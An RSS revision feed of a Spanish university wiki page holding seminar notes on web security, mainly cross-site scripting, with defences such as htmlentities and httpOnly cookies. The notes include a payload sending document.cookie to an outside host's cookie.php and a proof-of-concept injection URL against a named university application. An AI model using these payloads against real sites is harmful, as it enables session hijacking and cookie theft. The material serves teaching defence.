<?xml version="1.0" encoding="windows-1251"?>
<rss version="0.92">
<channel>
<title>WikiJuanan - SeminarioSeguridadWeb</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb</link>
<description>History/revisions of WikiJuanan/SeminarioSeguridadWeb</description>
<language>en-us</language>
<item>
<title>2007-06-21 08:33:14</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2007-06-21+08%3A33%3A14</link>
<description>&lt;a name="p1689-1">&lt;/a>&lt;p class="auto" id="p1689-1">&lt;a name="seguridadinformatica" href="http://wiki.us.es/juanan/wakka.php?wakka=SeguridadInformatica" class="">Seguridad&amp;nbsp;Informática&lt;/a> &amp;ndash; &lt;a name="seguridadweb" href="http://wiki.us.es/juanan/wakka.php?wakka=SeguridadWeb" class="">Seguridad&amp;nbsp;Web&lt;/a>&lt;/p>&lt;hr noshade="noshade" size="1" />&lt;a name="p1689-2">&lt;/a>&lt;p class="auto" id="p1689-2">
Lo&amp;nbsp;más importante en&amp;nbsp;seguridad web&amp;nbsp;es&amp;nbsp;&lt;strong>validarlo todo&lt;/strong> y&amp;nbsp;dejar siempre la&amp;nbsp;seguridad en&amp;nbsp;el lado del&amp;nbsp;servidor y&amp;nbsp;nunca del&amp;nbsp;cliente.&lt;/p>&lt;br />&lt;a name="p1689-3">&lt;/a>&lt;p class="auto" id="p1689-3">
Hay&amp;nbsp;que validar la&amp;nbsp;entrada desde formularios, lo&amp;nbsp;que viene en&amp;nbsp;la url, etc&lt;/p>&lt;a name="h1689-1">&lt;/a>&lt;h3>Cross Site Scripting (XSS)&lt;/h3>&lt;a name="p1689-4">&lt;/a>&lt;p class="auto" id="p1689-4">
Técnicas que&amp;nbsp;permiten obtener información que&amp;nbsp;otra web&amp;nbsp;ha&amp;nbsp;dejado en&amp;nbsp;minavegador, por&amp;nbsp;ejemplo: cookies.&lt;br />
Esto se&amp;nbsp;consigue inyectando código en&amp;nbsp;la aplicación web&amp;nbsp;del otro dominio: html, css, javascript.&lt;br />
Para inyectar código envíamos en&amp;nbsp;el formulario o&amp;nbsp;en la&amp;nbsp;url el&amp;nbsp;código que&amp;nbsp;queramos inyectar, siempre que&amp;nbsp;luego este código se&amp;nbsp;muestre y&amp;nbsp;por tanto se&amp;nbsp;ejecute en&amp;nbsp;la página de&amp;nbsp;la víctima.&lt;/p>&lt;br />&lt;a name="p1689-5">&lt;/a>&lt;p class="auto" id="p1689-5">
&lt;strong>Insertando código javascript&lt;/strong>&lt;br />
&amp;lt;script language='javascript'&amp;gt;location.href='http://www.us.es';&amp;lt;/script>&lt;/p>&lt;br />&lt;a name="p1689-6">&lt;/a>&lt;p class="auto" id="p1689-6">
&lt;strong>Insertando css&lt;/strong>&lt;br />
&amp;lt;div style="position:absolute;top:0px;left:0px;&lt;span class="nobr">z-order&lt;/span>=5000;background-color:red;color:white;width:100%;height:100%;"&amp;gt;XSS&amp;lt;/div&amp;gt;&lt;/p>&lt;br />&lt;a name="p1689-7">&lt;/a>&lt;p class="auto" id="p1689-7">
&lt;strong>Leyendo cookies&lt;/strong>&lt;br />
&amp;lt;script language='javascript'&amp;gt;location.href='&lt;a href="http://10.1.25.52/~palako/forpas/cookie.php?c=" target="_blank" title="Vinculo externo
(en nueva ventana)" class="outerlink">&lt;img src="http://wiki.us.es/juanan/themes/default/icons/web.gif" alt="" border="0" />http://10.1.25.52/~palako/forpas/cookie.php?c=&lt;/a>' + document.cookie;&amp;lt;/script&amp;gt;&lt;/p>&lt;br />&lt;a name="p1689-8">&lt;/a>&lt;p class="auto" id="p1689-8">
&lt;strong>Para evitar todo esto&lt;/strong>&lt;br />
1. Usamos htmlentities&lt;br />
2. En&amp;nbsp;ASP.net también podemos usar la&amp;nbsp;bandera httpOnly en&amp;nbsp;la cookie&lt;/p>&lt;br />&lt;a name="p1689-9">&lt;/a>&lt;p class="auto" id="p1689-9">
&lt;strong>En PHP&lt;/strong>&lt;br />
Para evitar este tipo de&amp;nbsp;vulnerabilidad en&amp;nbsp;una página desarrollada en&amp;nbsp;PHP uno&amp;nbsp;de&amp;nbsp;los métodos que&amp;nbsp;pueden ser&amp;nbsp;utilizados es&amp;nbsp;mediante la&amp;nbsp;función htmlentities() que&amp;nbsp;nos convertirá los&amp;nbsp;caracteres especiales a&amp;nbsp;entidades HTML&lt;br />
&amp;lt;?php&lt;br />
$nuevo = htmlspecialchars("&amp;lt;a&amp;gt;'test'&amp;lt;/a&amp;gt;", ENT_QUOTES);&lt;br />
echo $nuevo;&lt;br />
?&amp;gt;&lt;br />
Mostrando:&lt;br />
&amp;lt;a&amp;gt;'test'&amp;lt;/a&amp;gt;&lt;/p>&lt;br />&lt;a name="p1689-10">&lt;/a>&lt;p class="auto" id="p1689-10">
Atención a&amp;nbsp;la opción TRACE &lt;/p>&lt;a name="h1689-2">&lt;/a>&lt;h2>Caso real icasus&lt;/h2>&lt;a name="p1689-11">&lt;/a>&lt;p class="auto" id="p1689-11">
&lt;a href="http://wiki.us.es/icasus11/index.php?aviso=%3Cscript%3Ealert(document.cookie);%3C/script%3E" target="_blank" title="Vinculo externo
(en nueva ventana)" class="outerlink">&lt;img src="http://wiki.us.es/juanan/themes/default/icons/web.gif" alt="" border="0" />http://wiki.us.es/icasus11/index.php?aviso=%3Cscript%3Ealert(document.cookie);%3C/script%3E&lt;/a> &lt;/p>&lt;a name="h1689-3">&lt;/a>&lt;h2>Enlaces&lt;/h2>&lt;a name="p1689-12">&lt;/a>&lt;p class="auto" id="p1689-12">
&lt;a href="http://www.boinasnegras.com/" target="_blank" title="Vinculo externo
(en nueva ventana)" class="outerlink">&lt;img src="http://wiki.us.es/juanan/themes/default/icons/web.gif" alt="" border="0" />http://www.boinasnegras.com/&lt;/a> &amp;ndash; Retos hacker.&lt;br />
&lt;a href="http://www.noletia.com/forpas.htm" target="_blank" title="Vinculo externo
(en nueva ventana)" class="outerlink">&lt;img src="http://wiki.us.es/juanan/themes/default/icons/web.gif" alt="" border="0" />http://www.noletia.com/forpas.htm&lt;/a>&lt;/p></description>
</item>
<item>
<title>2006-07-03 09:09:37</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-07-03+09%3A09%3A37</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-06-07 13:10:01</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-06-07+13%3A10%3A01</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 20:34:34</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+20%3A34%3A34</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 20:11:19</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+20%3A11%3A19</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 20:01:10</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+20%3A01%3A10</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 19:50:15</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+19%3A50%3A15</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 19:44:55</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+19%3A44%3A55</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 19:31:03</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+19%3A31%3A03</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 17:27:28</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+17%3A27%3A28</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 17:24:39</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+17%3A24%3A39</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 17:22:41</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+17%3A22%3A41</link>
<description>edited by JuananRuiz</description>
</item>
<item>
<title>2006-04-19 17:19:44</title>
<link>http://wiki.us.es/juanan/wakka.php?wakka=SeminarioSeguridadWeb/show&amp;time=2006-04-19+17%3A19%3A44</link>
<description>edited by JuananRuiz</description>
</item>
</channel>
</rss>

 <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
 </script>
 <script type="text/javascript">
  _uacct = "UA-1947893-2";
  urchinTracker();
 </script>

